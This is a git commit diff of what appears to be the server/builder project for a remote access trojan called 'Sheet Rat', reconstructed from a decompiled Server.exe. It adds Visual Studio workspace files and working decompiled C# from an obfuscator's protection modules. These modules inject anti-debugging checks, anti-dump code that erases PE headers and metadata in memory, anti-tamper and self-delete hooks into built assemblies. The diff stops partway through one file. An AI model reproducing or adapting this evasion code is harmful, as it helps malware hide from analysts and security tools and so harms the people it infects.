initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,41 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\Admin\\Desktop\\Server\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|c:\\users\\admin\\desktop\\server\\server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|solutionrelative:server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 0,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "Clients.cs",
|
||||
"DocumentMoniker": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs",
|
||||
"RelativeDocumentMoniker": "Server\\Connection\\Clients.cs",
|
||||
"ToolTip": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs*",
|
||||
"RelativeToolTip": "Server\\Connection\\Clients.cs*",
|
||||
"ViewState": "AgIAACEBAAAAAAAAAAArwC8BAAAQAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2025-06-17T08:04:29.777Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{cce594b6-0c39-4442-ba28-10c64ac7e89f}"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\Admin\\Desktop\\Server\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|c:\\users\\admin\\desktop\\server\\server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}|Server.csproj|solutionrelative:server\\connection\\clients.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 0,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "Clients.cs",
|
||||
"DocumentMoniker": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs",
|
||||
"RelativeDocumentMoniker": "Server\\Connection\\Clients.cs",
|
||||
"ToolTip": "C:\\Users\\Admin\\Desktop\\Server\\Server\\Connection\\Clients.cs",
|
||||
"RelativeToolTip": "Server\\Connection\\Clients.cs",
|
||||
"ViewState": "AgIAACEBAAAAAAAAAAArwC8BAAAQAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2025-06-17T08:04:29.777Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{cce594b6-0c39-4442-ba28-10c64ac7e89f}"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
|
||||
[assembly: AssemblyTitle("Sheet Rat")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Sheet Rat")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: Guid("2cd9686b-7867-4e8d-b470-4989d6fe37f1")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.AntiDe4dot
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti {
|
||||
|
||||
internal class AntiDe4dot
|
||||
{
|
||||
public static void Execute(AssemblyDef mod)
|
||||
{
|
||||
foreach (ModuleDef module in (IEnumerable<ModuleDef>) mod.Modules)
|
||||
{
|
||||
InterfaceImplUser interfaceImplUser1 = new InterfaceImplUser((ITypeDefOrRef) module.GlobalType);
|
||||
for (int index = 0; index < 1; ++index)
|
||||
{
|
||||
TypeDefUser @interface = new TypeDefUser((UTF8String) string.Empty, (UTF8String) string.Format("Form{0}", index), (ITypeDefOrRef) module.CorLibTypes.GetTypeRef("System", "Attribute"));
|
||||
InterfaceImplUser interfaceImplUser2 = new InterfaceImplUser((ITypeDefOrRef) @interface);
|
||||
module.Types.Add((TypeDef) @interface);
|
||||
@interface.Interfaces.Add((InterfaceImpl) interfaceImplUser2);
|
||||
@interface.Interfaces.Add((InterfaceImpl) interfaceImplUser1);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.AntiDebug
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Anti.Runtime;
|
||||
using MindLated.Services;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti {
|
||||
|
||||
public static class AntiDebug
|
||||
{
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDebugSafe).Module);
|
||||
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
|
||||
int rid = (int) MDToken.ToRID(typeof (AntiDebugSafe).MetadataToken);
|
||||
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initialize"));
|
||||
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
|
||||
{
|
||||
if (!(method.Name != ".ctor"))
|
||||
{
|
||||
module.GlobalType.Remove(method);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.AntiDump
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Anti.Runtime;
|
||||
using MindLated.Services;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti {
|
||||
|
||||
internal class AntiDump
|
||||
{
|
||||
public static void Execute(ModuleDef mod)
|
||||
{
|
||||
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDumpRun).Module);
|
||||
MethodDef staticConstructor = mod.GlobalType.FindOrCreateStaticConstructor();
|
||||
int rid = (int) MDToken.ToRID(typeof (AntiDumpRun).MetadataToken);
|
||||
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), mod.GlobalType, mod).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initialize"));
|
||||
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) mod.GlobalType.Methods)
|
||||
{
|
||||
if (!(method.Name != ".ctor"))
|
||||
{
|
||||
mod.GlobalType.Remove(method);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.AntiTamper
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Anti.Runtime;
|
||||
using MindLated.Services;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti {
|
||||
|
||||
public static class AntiTamper
|
||||
{
|
||||
public static void Sha256(string filePath)
|
||||
{
|
||||
byte[] hash = SHA256.Create().ComputeHash(File.ReadAllBytes(filePath));
|
||||
using (FileStream fileStream = new FileStream(filePath, FileMode.Append))
|
||||
fileStream.Write(hash, 0, hash.Length);
|
||||
}
|
||||
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (EofAntiTamper).Module);
|
||||
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
|
||||
int rid = (int) MDToken.ToRID(typeof (EofAntiTamper).MetadataToken);
|
||||
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initializer"));
|
||||
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
|
||||
{
|
||||
if (!(method.Name != ".ctor"))
|
||||
{
|
||||
module.GlobalType.Remove(method);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.Antimanything
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Anti.Runtime;
|
||||
using MindLated.Services;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti {
|
||||
|
||||
internal class Antimanything
|
||||
{
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (SelfDeleteClass).Module);
|
||||
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
|
||||
int rid = (int) MDToken.ToRID(typeof (SelfDeleteClass).MetadataToken);
|
||||
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Init"));
|
||||
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
|
||||
{
|
||||
if (!(method.Name != ".ctor"))
|
||||
{
|
||||
module.GlobalType.Remove(method);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.Runtime.AntiDebugSafe
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti.Runtime {
|
||||
|
||||
internal static class AntiDebugSafe
|
||||
{
|
||||
[DllImport("ntdll.dll", CharSet = CharSet.Auto)]
|
||||
private static extern int NtQueryInformationProcess(
|
||||
IntPtr test,
|
||||
int test2,
|
||||
int[] test3,
|
||||
int test4,
|
||||
ref int test5);
|
||||
|
||||
private static void Initialize()
|
||||
{
|
||||
if (Debugger.IsLogging())
|
||||
Environment.Exit(0);
|
||||
if (Debugger.IsAttached)
|
||||
Environment.Exit(0);
|
||||
if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null)
|
||||
Environment.Exit(0);
|
||||
if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0)
|
||||
Environment.Exit(0);
|
||||
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
|
||||
return;
|
||||
int[] test3 = new int[6];
|
||||
int test5 = 0;
|
||||
IntPtr handle = Process.GetCurrentProcess().Handle;
|
||||
if (AntiDebugSafe.NtQueryInformationProcess(handle, 31 /*0x1F*/, test3, 4, ref test5) == 0 && test3[0] != 1)
|
||||
Environment.Exit(0);
|
||||
if (AntiDebugSafe.NtQueryInformationProcess(handle, 30, test3, 4, ref test5) == 0 && test3[0] != 0)
|
||||
Environment.Exit(0);
|
||||
if (AntiDebugSafe.NtQueryInformationProcess(handle, 0, test3, 24, ref test5) != 0)
|
||||
return;
|
||||
IntPtr ptr1 = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr) test3[1], 12), 12);
|
||||
Marshal.WriteInt32(ptr1, 32 /*0x20*/, 0);
|
||||
IntPtr num1 = Marshal.ReadIntPtr(ptr1, 0);
|
||||
IntPtr ptr2 = num1;
|
||||
do
|
||||
{
|
||||
ptr2 = Marshal.ReadIntPtr(ptr2, 0);
|
||||
if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48 /*0x30*/), 0) == 7536749)
|
||||
{
|
||||
IntPtr num2 = Marshal.ReadIntPtr(ptr2, 8);
|
||||
IntPtr num3 = Marshal.ReadIntPtr(ptr2, 12);
|
||||
Marshal.WriteInt32(num3, 0, (int) num2);
|
||||
Marshal.WriteInt32(num2, 4, (int) num3);
|
||||
}
|
||||
}
|
||||
while (!ptr2.Equals((object) num1));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.Runtime.AntiDumpRun
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti.Runtime {
|
||||
|
||||
internal class AntiDumpRun
|
||||
{
|
||||
private static unsafe void CopyBlock(void* destination, void* source, uint byteCount)
|
||||
{
|
||||
}
|
||||
|
||||
private static unsafe void InitBlock(void* startAddress, byte value, uint byteCount)
|
||||
{
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool VirtualProtect(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
[MarshalAs(UnmanagedType.U4)] AntiDumpRun.MemoryProtection flNewProtect,
|
||||
[MarshalAs(UnmanagedType.U4)] out AntiDumpRun.MemoryProtection lpflOldProtect);
|
||||
|
||||
private static unsafe void Initialize()
|
||||
{
|
||||
Module module = typeof (AntiDumpRun).Module;
|
||||
byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(module);
|
||||
byte* numPtr1 = hinstance + 60;
|
||||
byte* numPtr2 = hinstance + *(uint*) numPtr1 + 6;
|
||||
ushort length = *(ushort*) numPtr2;
|
||||
byte* numPtr3 = numPtr2 + 14;
|
||||
ushort num1 = *(ushort*) numPtr3;
|
||||
byte* numPtr4 = numPtr3 + 4 + (int) num1;
|
||||
byte* source = stackalloc byte[11];
|
||||
if (module.FullyQualifiedName[0] != '<')
|
||||
{
|
||||
byte* startAddress = hinstance + *(uint*) (numPtr4 - 16 /*0x10*/);
|
||||
AntiDumpRun.MemoryProtection lpflOldProtect;
|
||||
if (*(uint*) (numPtr4 - 120) != 0U)
|
||||
{
|
||||
byte* numPtr5 = hinstance + *(uint*) (numPtr4 - 120);
|
||||
byte* numPtr6 = hinstance + *(uint*) numPtr5;
|
||||
byte* destination1 = hinstance + *(uint*) (numPtr5 + 12);
|
||||
byte* destination2 = hinstance + *(uint*) numPtr6 + 2;
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination1), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*(int*) source = 1818522734;
|
||||
*(int*) (source + 4) = 1818504812;
|
||||
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
|
||||
*(short*) (source + 8) = (short) 108;
|
||||
source[10] = (byte) 0;
|
||||
AntiDumpRun.CopyBlock((void*) destination1, (void*) source, 11U);
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination2), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*(int*) source = 1866691662;
|
||||
*(int*) (source + 4) = 1852404846;
|
||||
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
|
||||
*(short*) (source + 8) = (short) 25973;
|
||||
source[10] = (byte) 0;
|
||||
AntiDumpRun.CopyBlock((void*) destination2, (void*) source, 11U);
|
||||
}
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
AntiDumpRun.InitBlock((void*) numPtr4, (byte) 0, 8U);
|
||||
numPtr4 += 40;
|
||||
}
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
byte* numPtr7 = hinstance + *(uint*) (startAddress + 8);
|
||||
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr7), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*(int*) numPtr7 = 0;
|
||||
byte* numPtr8 = numPtr7 + 12;
|
||||
byte* numPtr9 = (byte*) ((ulong) (numPtr8 + *(uint*) numPtr8) + 7UL & 18446744073709551612UL) + 2;
|
||||
ushort num2 = (ushort) *numPtr9;
|
||||
byte* numPtr10 = numPtr9 + 2;
|
||||
for (int index1 = 0; index1 < (int) num2; ++index1)
|
||||
{
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
numPtr10 = numPtr10 + 4 + 4;
|
||||
for (int index2 = 0; index2 < 8; ++index2)
|
||||
{
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*numPtr10 = (byte) 0;
|
||||
byte* numPtr11 = numPtr10 + 1;
|
||||
if (*numPtr11 == (byte) 0)
|
||||
{
|
||||
numPtr10 = numPtr11 + 3;
|
||||
break;
|
||||
}
|
||||
*numPtr11 = (byte) 0;
|
||||
byte* numPtr12 = numPtr11 + 1;
|
||||
if (*numPtr12 == (byte) 0)
|
||||
{
|
||||
numPtr10 = numPtr12 + 2;
|
||||
break;
|
||||
}
|
||||
*numPtr12 = (byte) 0;
|
||||
byte* numPtr13 = numPtr12 + 1;
|
||||
if (*numPtr13 == (byte) 0)
|
||||
{
|
||||
numPtr10 = numPtr13 + 1;
|
||||
break;
|
||||
}
|
||||
*numPtr13 = (byte) 0;
|
||||
numPtr10 = numPtr13 + 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint num3 = *(uint*) (numPtr4 - 16 /*0x10*/);
|
||||
uint num4 = *(uint*) (numPtr4 - 120);
|
||||
uint[] numArray1 = new uint[(int) length];
|
||||
uint[] numArray2 = new uint[(int) length];
|
||||
uint[] numArray3 = new uint[(int) length];
|
||||
AntiDumpRun.MemoryProtection lpflOldProtect;
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8);
|
||||
numArray1[index] = *(uint*) (numPtr4 + 12);
|
||||
numArray2[index] = *(uint*) (numPtr4 + 8);
|
||||
numArray3[index] = *(uint*) (numPtr4 + 20);
|
||||
numPtr4 += 40;
|
||||
}
|
||||
if (num4 != 0U)
|
||||
{
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
if (numArray1[index] <= num4 && num4 < numArray1[index] + numArray2[index])
|
||||
{
|
||||
num4 = num4 - numArray1[index] + numArray3[index];
|
||||
break;
|
||||
}
|
||||
}
|
||||
byte* numPtr14 = hinstance + num4;
|
||||
uint num5 = *(uint*) numPtr14;
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
if (numArray1[index] <= num5 && num5 < numArray1[index] + numArray2[index])
|
||||
{
|
||||
num5 = num5 - numArray1[index] + numArray3[index];
|
||||
break;
|
||||
}
|
||||
}
|
||||
byte* numPtr15 = hinstance + num5;
|
||||
uint num6 = *(uint*) (numPtr14 + 12);
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
if (numArray1[index] <= num6 && num6 < numArray1[index] + numArray2[index])
|
||||
{
|
||||
num6 = num6 - numArray1[index] + numArray3[index];
|
||||
break;
|
||||
}
|
||||
}
|
||||
uint num7 = *(uint*) numPtr15 + 2U;
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
if (numArray1[index] <= num7 && num7 < numArray1[index] + numArray2[index])
|
||||
{
|
||||
num7 = num7 - numArray1[index] + numArray3[index];
|
||||
break;
|
||||
}
|
||||
}
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num6)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*(int*) source = 1818522734;
|
||||
*(int*) (source + 4) = 1818504812;
|
||||
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
|
||||
*(short*) (source + 8) = (short) 108;
|
||||
source[10] = (byte) 0;
|
||||
AntiDumpRun.CopyBlock((void*) (hinstance + num6), (void*) source, 11U);
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num7)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*(int*) source = 1866691662;
|
||||
*(int*) (source + 4) = 1852404846;
|
||||
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
|
||||
*(short*) (source + 8) = (short) 25973;
|
||||
source[10] = (byte) 0;
|
||||
AntiDumpRun.CopyBlock((void*) (hinstance + num7), (void*) source, 11U);
|
||||
}
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
if (numArray1[index] <= num3 && num3 < numArray1[index] + numArray2[index])
|
||||
{
|
||||
num3 = num3 - numArray1[index] + numArray3[index];
|
||||
break;
|
||||
}
|
||||
}
|
||||
byte* startAddress = hinstance + num3;
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
uint num8 = *(uint*) (startAddress + 8);
|
||||
for (int index = 0; index < (int) length; ++index)
|
||||
{
|
||||
if (numArray1[index] <= num8 && num8 < numArray1[index] + numArray2[index])
|
||||
{
|
||||
num8 = num8 - numArray1[index] + numArray3[index];
|
||||
break;
|
||||
}
|
||||
}
|
||||
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
|
||||
byte* numPtr16 = hinstance + num8;
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr16), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*(int*) numPtr16 = 0;
|
||||
byte* numPtr17 = numPtr16 + 12;
|
||||
byte* numPtr18 = (byte*) ((ulong) (numPtr17 + *(uint*) numPtr17) + 7UL & 18446744073709551612UL) + 2;
|
||||
ushort num9 = (ushort) *numPtr18;
|
||||
byte* numPtr19 = numPtr18 + 2;
|
||||
for (int index3 = 0; index3 < (int) num9; ++index3)
|
||||
{
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
numPtr19 = numPtr19 + 4 + 4;
|
||||
for (int index4 = 0; index4 < 8; ++index4)
|
||||
{
|
||||
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
||||
*numPtr19 = (byte) 0;
|
||||
byte* numPtr20 = numPtr19 + 1;
|
||||
if (*numPtr20 == (byte) 0)
|
||||
{
|
||||
numPtr19 = numPtr20 + 3;
|
||||
break;
|
||||
}
|
||||
*numPtr20 = (byte) 0;
|
||||
byte* numPtr21 = numPtr20 + 1;
|
||||
if (*numPtr21 == (byte) 0)
|
||||
{
|
||||
numPtr19 = numPtr21 + 2;
|
||||
break;
|
||||
}
|
||||
*numPtr21 = (byte) 0;
|
||||
byte* numPtr22 = numPtr21 + 1;
|
||||
if (*numPtr22 == (byte) 0)
|
||||
{
|
||||
numPtr19 = numPtr22 + 1;
|
||||
break;
|
||||
}
|
||||
*numPtr22 = (byte) 0;
|
||||
numPtr19 = numPtr22 + 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal enum MemoryProtection
|
||||
{
|
||||
ExecuteReadWrite = 64, // 0x00000040
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.Runtime.EofAntiTamper
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti.Runtime {
|
||||
|
||||
internal class EofAntiTamper
|
||||
{
|
||||
private static void Initializer()
|
||||
{
|
||||
